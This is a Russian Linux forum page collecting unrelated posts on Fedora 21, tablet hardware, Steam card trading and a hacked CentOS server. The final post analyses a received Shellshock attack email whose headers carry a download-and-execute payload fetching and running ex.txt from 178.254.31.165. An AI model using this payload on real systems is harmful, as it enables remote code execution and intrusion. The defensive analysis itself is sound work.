Fedora 21 Release Party Moscow
20 декабря, с 14:00 и до упора, в баре недалеко от м. Сокол
http://russianfedora.pro/content/fedora-21-release-party-в-Москве
Присоединяйтесь.
20 декабря, с 14:00 и до упора, в баре недалеко от м. Сокол
http://russianfedora.pro/content/fedora-21-release-party-в-Москве
Присоединяйтесь.
9 декабря 2014, вышла новая версия пакетного менеджера DNF - 0.6.3. Вместе с ним вышла новая версия набора основных плагинов dnf-plugins-core - 0.1.4.
Новинки DNF:
Новинки dnf-plugins-core:
Contributors
>>> Подробности
Пытаюсь поставить Steam в Fedora 21 из rpmfusion, получаю такой выхлоп http://fpaste.org/158048/14181477/
Как исправить?
В ожидании релиза перечислим основные изменения в дистрибутиве:
-Werror=format-security
, позволяющей предотвратить сборку кода с узявимостью в функции форматирования строк.
Линус Торвальдс объявил о выходе ядра Linux 3.18, основные новшества:
Более полная новость на opennet.ru
[обзор/отчет с парой вопросов]
Вообщем пришел мой Teclast X98 Air (Atom Z3735D, C5KN, с Android).
Подключив usb-клаву неделю стучал по всем кнопкам, начиная с Del, пока понял, что BIOS-а у меня нет. Пришлось взять BIOS от винды.
Подключил hdd от своего десктопа (то же Baytrail, J1800, CentOS7, elrepo-kernel, xorg-x11-drv-intel-2.99.916, последние linux-firmware-20141013). Увидел свет (X-ы запустились).
Беглый обзор (lspci, lsusb) показал, что у меня кроме видеоадаптера, больше ничего и нет ... ;)
Короче, пересобрав ядро (понатыкав галочек для всяких SDIO/GPIO/LPSS/SOC/I2C/SPI) и воспользовавшись советами и патчами умных людей (Adam Williamson, Bastien Nocera) пилящим похожий планшет (Onda v975w), после почти месяца ковыряний, имею следующее:
Работает:
Видео — Отлично. VLC играет fullhd при 50% нагрузке процессора. Пара шероховатостей: экран вверх ногами (требуется fbcon=rotate:2
, xrandr --output eDP1 --rotate inverted
), все разрешения экрана, кроме максимального, неправильные/повернутые (требуется генерировать новые моделайны).
eMMC/MicroSD — работает. Чем новее ядро, тем лучше. На 3.18 hdparm -t /dev/mmcblk0p1
~100 MB/sec.
Touchscreen — работает. В BIOS выбрать touchscreen Atmel и поставить драйвер для Goodix.
Wi-Fi — работает со сторонним драйвером (старый правда, в андройде намного новее). Не поддерживает iw (только iwconfig) и NM (видит как проводное соединение).
Акселерометр — работает. с патчем. cat /sys/bus/iio/devices/iio\:device0/in_accel_[x,y,z]_raw
показывает положение планшета в пространстве. И куда это можно присобачить?
Кнопачки — работают стандартно («power» — 116, «vol+» - 115 , «vol-» - 114). Правда systemd/logind «power» именно как «power button» не распознает и не засыпает. Просыпается планшет нормально. Вообщем крутить или udev (?), или настройки WM.
Подсветка — работает, регулируется xbacklight.
Виртуализация — поддерживается. ХРюша в Virtulbox-е «летает».
Audio — работает хреново. Распознается как звуковая карта с >100 control-ми!? Самому нужную комбинацию вкл/выкл подобрать не удалось, нашел здесь. После чего звук потихоньку захрипел.
НЕ РАБОТАЕТ:
Состояние батареи — не работает из-за бага в ACPI. Судя по bugzilla оно работало с патчем в 3.16, потом сломали. Неужели нельзя просто поправить ACPI?
Bluetooth — не работает. Должен поддерживаться тем же драйвером, что и Wi-Fi (rtw_btcoex_enable=1), но похоже данной опции не достаточно. Возможно дело в rfkill, на какой-то версии ядра было два переключателя (один был точно «off», но Wi-Fi работал). Сейчас в rfkill list
пусто.
Камеры — не работают. В android-е есть драйвера atomisp-* (Intel ATOM Platform ISP Driver) и, насколько понял, конфигурационные файлы для конкретных камер (*.cpf). Все исходники atomisp которые я находил были для ядер 3.0-3.4 … короче, пока даже не пытался.
Видеодекодер PowerVR VXD392 — вроде есть, вроде пилят. Ждем.
WiDi — х/з
Encryption controller 00:1a.0 — х/з
Прочее
работает только с сlocksource=tsc.
RTC можно поменять только из BIOS (установка с помощью date
не сохраняется при перезагрузке).
BIOS смог прошить только из под android (затерев его). С fastboot что-то не срослось. Так что второй раз … прошивать из под винды всю прошивку заново?!
ИТОГО
В общем, мне для счастья осталось настроить две вещи: увидеть состояние батареи и включить bluetooth.
(Ну и настроить IceWM для работы на экране 1536х2048 и touchscreen-ом ;)
Ну вот, в принципе, и все вопросы :) Верю, к новому году будет у меня полноценный планшет с полноценным linux-ом :)
P.S. Ставить буду наверное все-таки Fedora 21 (32bit).
Я уже писал о том, что на моем компьютере периодически возникает 12309. Многие не верят, ибо у них «всё работает». Если у вас всё работает отлично, и это всё, что вы хотите сказать - пожалуйста, не говорите ничего.
У меня тоже всё работает. До поры до времени. Как только потребление ОЗУ вырастает до 70% и более, а CPU непрерывно загружен (хоть и не до упора), то любая, даже самая незначительная дисковая операция занимает достаточно много времени и приводит к тормозам ВСЕГО.
Буквально только что (т.е. за 20 минут до написания этого сообщения) игрался я в CSGO от нечего делать. Посреди игры (уже минут 10 прошло) неведомое нечто начинает усиленно обращаться к винчестеру. Неведомое нечто не может быть чем-то очевидным, ибо всевозможные обвновления/синхронизации/и т.д. я поотключал, а кроме steam и самой игры ничего запущено не было. В результате начинаются жесткие фризы, а через несколько секунд компьютер превращается в состояние овоща - не реагирует ни на что, картинка на мониторе замерла, а звуковая карта зацикленно играет короткий семпл. Только reset.
В этот момент у меня было была одна мысль в голове: «Что, б****? Что за херня?»
А всё дело в том, что подобное состояние системы я последний раз наблюдал на венде несколько лет назад, да и то - на чужом компьютере. А теперь вендоподобные проблемы на моем собственном пк!
Я не знаю, 12309 ли это, либо другой баг, связанный с дисковой производительностью во время заполненного ОЗУ... меня это уже не волнует.
Хочу спросить совета: что делать?
Обновить пк не вариант, денег в последнее время не хватает, тем более что у меня в стране сами знаете что.
Из возможных вариантов:
1) Выбросить linux и пересесть на винду. (работать в винде для меня просто тошнотворно, не вариант)
2) Доставить в дуалбут винду, играть исключительно в винде, всё остальное - в linux (сам факт дуалбута будет мусолить мою душу, а в снах я буду видеть себя типичным школьником, который хвастается свеженькой ubuntu)
3) Заменить шедулер на BFS. (поможет ли?)
4) Просто обновить ядро на более свежее (у меня стоит 3.13.0-24-generic - стоковое для linux mint 17. Опять же - поможет ли? Думаю нет, т.к. разрабы ядра давно пометили проблему как «решенную»)
5) Заменить дистрибутив linux на что-то сверхминималистичное - чистый Xorg, драйвера на видокарту, steam, а нормальное пользование системой вместе с повседневными задачами перенести в freebsd. (несмотря на то, что freebsd я уже научился готовить до вменяемого состояния, в отличие от pcbsd, лол но там всё еще есть некоторые мелкие неприятности, которые надо решать. Да и опять таки, дуалбут, мать его за ногу)
6) Забить на игры (чем развлекаться? пить пивко во дворе? я не пью)
7) Ваш вариант?
P.S. Как мне теперь смотреть в глаза людям, которым я советовал linux? А тем, которым ставил? Что я за дурак был тогда...
P.P.S. Да, я уже думал заменить home на удаленный каталог средствами ufs. Но это скорее удобный костыль, да и на всю систему ufs не поставить...
Собираюсь отправить патч в Linux 3.17, буду благодарен если удастся протестировать.
Наблюдаются ли у вас проблемы с производительностью графики при возвращении системы из ждущего режима?
Только что собрал systemd, окончательно и бесповоротно решив перейти на него. Вопросы - 1) Нужен ли udev с systemd в Gentoo? При попытке его собрать тот выдает взаимную блокировку systemd и udev. 2) Какие ключи нужны systemd для загрузки? То есть что приписать к опциям ядра?
водой плюнул. изо рта. ребёнку 3 года. вода попала на клаву, которой должно быть, вроде, пофиг на воду. и стёрта была быстро.
однако через 5 часов при включении ноута он издал хрипы и клавиатура теперь не работает. только трекпоинт и его кнопки нормально реагируют.
живу в лесу глухом.
поэтому вопрос- уже можно пить за упокой ноута или еще есть шансы его воскресить без помощи сервисцентра?
thinkpad L430
Весной я решил немного поддержать gnome foundation и подписался на пожертвования раз в месяц ($10). Т.е. раз в месяц кто-то попьёт пиво. :-)
Так вот сегодня пришла открытка от разработчика Alex Larsson.
PNG
Лето 2013 - летняя распродажа, внедрены карточки Steam. Это и карточки игр, и «карточки летней распродажи 2013». Несмотря на внезапность, их нагенерировали столько, что до сих пор продаются по 2 рубля.
Зима 2014 - рождественская распродажа, и снова карточки. На этот раз Valve поступила умнее: после распродажи (2 недели) все зимние карточки исчезают.
Лето 2014 - летняя распродажа, и снова карточки!
Зима 2015 - http://steamcommunity.com/auction/?l=russian ЭВЕНТ НАЧАЛСЯ!
План действий
Щас покупаем полный комплект карточек от всех дешёвых игр (список внизу), а также игр, для которых у нас уже есть больше половины карточек. Но не активируем их! Если активировать сейчас, мы получим только «уровень» аккаунта и купон на скидку на рандомную игру, который является мусором. Ждём рождественской распродажи, и вместо купонов на скидку получаем зимние карточки 2015. Много, мнооого зимних карточек!
Действие 2. Активировать карточки? Нафиг надо! В первые 6 часов с начала рождественской распродажи выставляем наши over9000 зимних карточек на продажу. Они будут стоить по 30 рублей за штуку.
Действие 3. Есть много игр, карточки которых стоят 5 или 8 рублей, а не 1,5 рубля. Например Duke Nukem 3D, Dungeon Hearts, Anna: Extended Edition. В первый день рождественской распродажи они вырастут в цене в полтора-два раза. Продаём. В феврале подешевеют, и можно будет выкупить обратно.
Действие 4. В середине распродажи карточки будут стоить уже по 10-15 рублей. Всё ещё продаём.
Действие 5. Есть два варианта действий.
а). Последние часы распродажи. Сейчас карточки исчезнут. Выставляем на покупку по разумной цене - время покажет по какой именно. Например 3 рубля. Тратим все вырученные деньги на закупку карточек. Все крафтим.
б). Ничего не покупаем. Вы заработали несколько сотен рублей - в зависимости от того, как много карточек вы сгенерировали в день 1.
Список игр
Список, сортировка по цене.
Список игр будет пополняться.
Если затем продать 5 карточек по 25 рублей, мы получим 125 рублей. Скорее всего цена будет выше, так как «Торговая площадка Steam» работает в долларах, и потому что летняя распродажа начиналась с 30 рублей за карточку.
Как покупать
Пополняем кошелёк Steam на 150 или 300 рублей. Открываем «Торговую площадку Steam», копируем название игры в строку поиска, жмём по заголовку колонки «наименование» для сортировки по алфавиту. Открываем первую карточку из списка, жмём «Купить», ставим цену 1,5 рубля, количество 5 (если в инвентаре уже есть 1-2 карточки, то 3-4). Ждём три дня, и всё покупается. Повторяем с каждой следующей карточкой списка.
Нам не нужно быть владельцем игры, чтобы покупать и крафтить её карточки. После покупки любой карточки игра появится в «Значки», и там можно будет нажать «Искать недостающие карточки на Торговой площадке».
В общем голосовании разработчиков Debian по вопросу поддержки нескольких систем инициализации победил вариант, в соответствии с которым данный вопрос не требует принятия решения, всё остается на откуп сопровождающих пакеты, обязательной будет только поддержка системы инициализации по умолчанию (ну все знают какой). Естественно, голосование было проспонсировано Red Hat, а Поттеринг лично рассылал деньги разработчикам Debian. https://lists.debian.org/debian-devel/2014/11/msg00891.html
Перемещено fallout4all из linux-org-ru
Доброго времени суток, товарищи линуксоиды.
Некоторые посетители форума знают меня как ненавистника systemd и прочих технологий, которые привнесли в этот мир Леннарт Поттеринг и Red Hat Inc. Однако, я решил посмотреть на всю сложившуюся в сообществе GNU/Linux ситуацию под другим углом, поэтому было дано начало серии видеоуроков «Systemd in action». В этой серии мы постараемся раскрыть все основные аспекты работы, связанные с systemd, в доступном для новичков формате.
Первый эпизод доступен для просмотра здесь. Огромную благодарность хочу выразить intelfx и PaulCarroty за непосредственное участие в проекте. Желающие помочь развитию серии могут присоединиться.
Ждите новых выпусков!
>>> Подробности
Всем доброго дня! Имеется сервер на Centos 6, на нем в придачу к прочему стоит сайт на htppd. Недавно через сайт взломали сервер и видать закинули какой то вредоносный скрипт. Исходящий трафик по жесткому засирал канал и ДДосил на определенный IP. Через Iptables я запретил исходящий трафик на этот IP и сеть поднялась. Но остались процессы которые до сих пор пытаются ДДосить, в итоге используют ресурсы сервера. Так вот вопрос, как найти этот скрипт? Куда смотреть? Что и в каких логах искать? Возможно ли по PID'у процесса определить откуда и какой скрипт выполняется?
Вот эти процессы в top:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
3674 apache 20 0 31992 3148 552 R 100.0 0.0 705:44.29 perl
7247 apache 20 0 31816 3512 1040 R 99.5 0.0 3293:38 perl
7345 apache 20 0 31816 3528 1064 R 99.5 0.0 2421:54 perl
28622 apache 20 0 31816 3520 1048 R 97.6 0.0 13687:42 perl
7329 apache 20 0 31816 3524 1064 R 89.8 0.0 2117:39 perl
И так, мне нужно поставить pf-ядро, однако репоситарий repos.natalenko.name недоступен.
Некоторое время назад набрел на заброшенный на тот момент udev-discover, и захотелось мне его оживить.
Форкнул, исправил критические баги, добавил функционал для настройки мультисита через systemd-logind.
Автор порадовался, принял исправления, написал в бложике про новую версию. Потом так же порадовался моим доделкам, пообещал в течение пары недель прорецензировать... И все. Ну потом я его еще раз потыкал, все повторилось.
Опыта разработки с Gobject/Gtk до этого я не имел, нужно, чтобы кто-то присмотрел. Приветствуются желающие потестить или помочь полезным советом.
Моя ветка: https://github.com/shatsky/udev-discover/tree/multiseat
Описание доделок: https://github.com/fontanon/udev-discover/pull/10#issuecomment-54955076
Картинка: https://cloud.githubusercontent.com/assets/1289078/4175248/ca90467a-35c8-11e4...
Перемещено beastie из talks
В ночь с 7 на 8 ноября Либертарная техническая группа планирует провести ночь популяризации свободных компьютерных игр. На мероприятии будет возможность в многопользовательском режиме опробовать представителей различных игровых жанров. Предварительно будет сделан обзор свободных игр.
По таким играм, как 0 A.D., Warzone2100, Xonotic, Armagetron Advanced и WideLands будет проведено небольшое соревнование с символическими призами. Хотя играть можно будет и в любые другие свободные игры, организаторами рекомендуется делать это под свободной ОС GNU/Linux.
Событие состоится в хакспейсе «Neuron» (м. «Китай-город», Хохловский пер, 7/9 стр 2, 3 подъезд, 3 этаж). Начало в 22.00.
>>> Подробности
Несколько дней назад обнаружил письмо, в котором явно делалась попытка проэксплуатировать недавнюю уязвимость в bash. По видимому, атака рассчитана на работу фильтров, в качестве которых могут быть shell скрипты.
Исходный вид письма:
From - Fri Oct 24 20:38:48 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <support@mata.com>
Delivered-To: my.user.name@my.domain.name.net
Received: by mail.my.domain.name.net (Postfix)
id 1B8E6306033C; Fri, 24 Oct 2014 20:38:44 +0400 (MSK)
Delivered-To: root@mail.my.domain.name.net
Received: by mail.my.domain.name.net (Postfix, from userid 1001)
id 055493060D8A; Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received: from sub.domain.my.domain.name.net (unknown [11.22.33.44])
by mail.my.domain.name.net (Postfix) with ESMTP id D3496306033C
for <root@mail.my.domain.name.net>; Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received: from USER (u16850951.onlinehome-server.com [74.208.184.251])
by sub.domain.my.domain.name.net (8.14.4/8.14.4/Debian-2ubuntu2) with SMTP id s9OGPr2d018507
for <root@localhost>; Fri, 24 Oct 2014 20:25:55 +0400
Resent-Message-Id: <201410241625.s9OGPr2d018507@sub.domain.my.domain.name.net>
To: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
perl.ex.txt@mail.my.domain.name.net;,
rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
References:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Cc: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
perl.ex.txt@mail.my.domain.name.net;,
rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
From: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
perl.ex.txt@mail.my.domain.name.net;,
rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
Subject:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Date:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Message-ID:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Comments:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Keywords:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Resent-Date:() { :; }; cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*;
Resent-From: () {:;;};cd/tmp;curl.-sO.178.254.31.165/ex.txt;lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
perl.ex.txt@mail.my.domain.name.net;,
rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
В более удобочитаемом виде:
Return-Path: <support@mata.com>
Delivered-To: my.user.name@my.domain.name.net
Received:
by mail.my.domain.name.net (Postfix)
id 1B8E6306033C;
Fri, 24 Oct 2014 20:38:44 +0400 (MSK)
Delivered-To: root@mail.my.domain.name.net
Received:
by mail.my.domain.name.net (Postfix, from userid 1001)
id 055493060D8A;
Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received:
from sub.domain.my.domain.name.net (unknown [11.22.33.44])
by mail.my.domain.name.net (Postfix) with ESMTP
id D3496306033C
for <root@mail.my.domain.name.net>;
Fri, 24 Oct 2014 20:38:43 +0400 (MSK)
Received:
from USER (u16850951.onlinehome-server.com [74.208.184.251])
by sub.domain.my.domain.name.net (8.14.4/8.14.4/Debian-2ubuntu2) with SMTP
id s9OGPr2d018507
for <root@localhost>;
Fri, 24 Oct 2014 20:25:55 +0400
Resent-Message-Id: <201410241625.s9OGPr2d018507@sub.domain.my.domain.name.net>
Здесь мы можем видеть малоинформативный support@mata.com и не намного более информативный u16850951.onlinehome-server.com [74.208.184.251], с которого было отправлено письмо.
Заголовки:
To:
From:
Resent-From:
содержат следующее:
To: () {:;;};
cd/tmp;
curl.-sO.178.254.31.165/ex.txt;
lwp-download.http: //178.254.31.165/ex.txt@mail.my.domain.name.net;,
wget.178.254.31.165/ex.txt@mail.my.domain.name.net;,
fetch.178.254.31.165/ex.txt@mail.my.domain.name.net;,
perl.ex.txt@mail.my.domain.name.net;,
rm.-fr.ex.*@mail.my.domain.name.net;;;;;;;;
Здесь мы можем видеть 178.254.31.165/ на котором файла ex.txt конечно уже не было.
Заголовки:
References:
Subject:
Date:
Message-ID:
Comments:
Keywords:
Resent-Date:
содержат предыдущий случай, без добавленного к url домена:
References:() { :; };
cd /tmp ;
curl -sO 178.254.31.165/ex.txt;
lwp-download http://178.254.31.165/ex.txt;
wget 178.254.31.165/ex.txt;
fetch 178.254.31.165/ex.txt;
perl ex.txt;
rm -fr ex.*;
Перемещено beastie из admin
← назад | следующие → |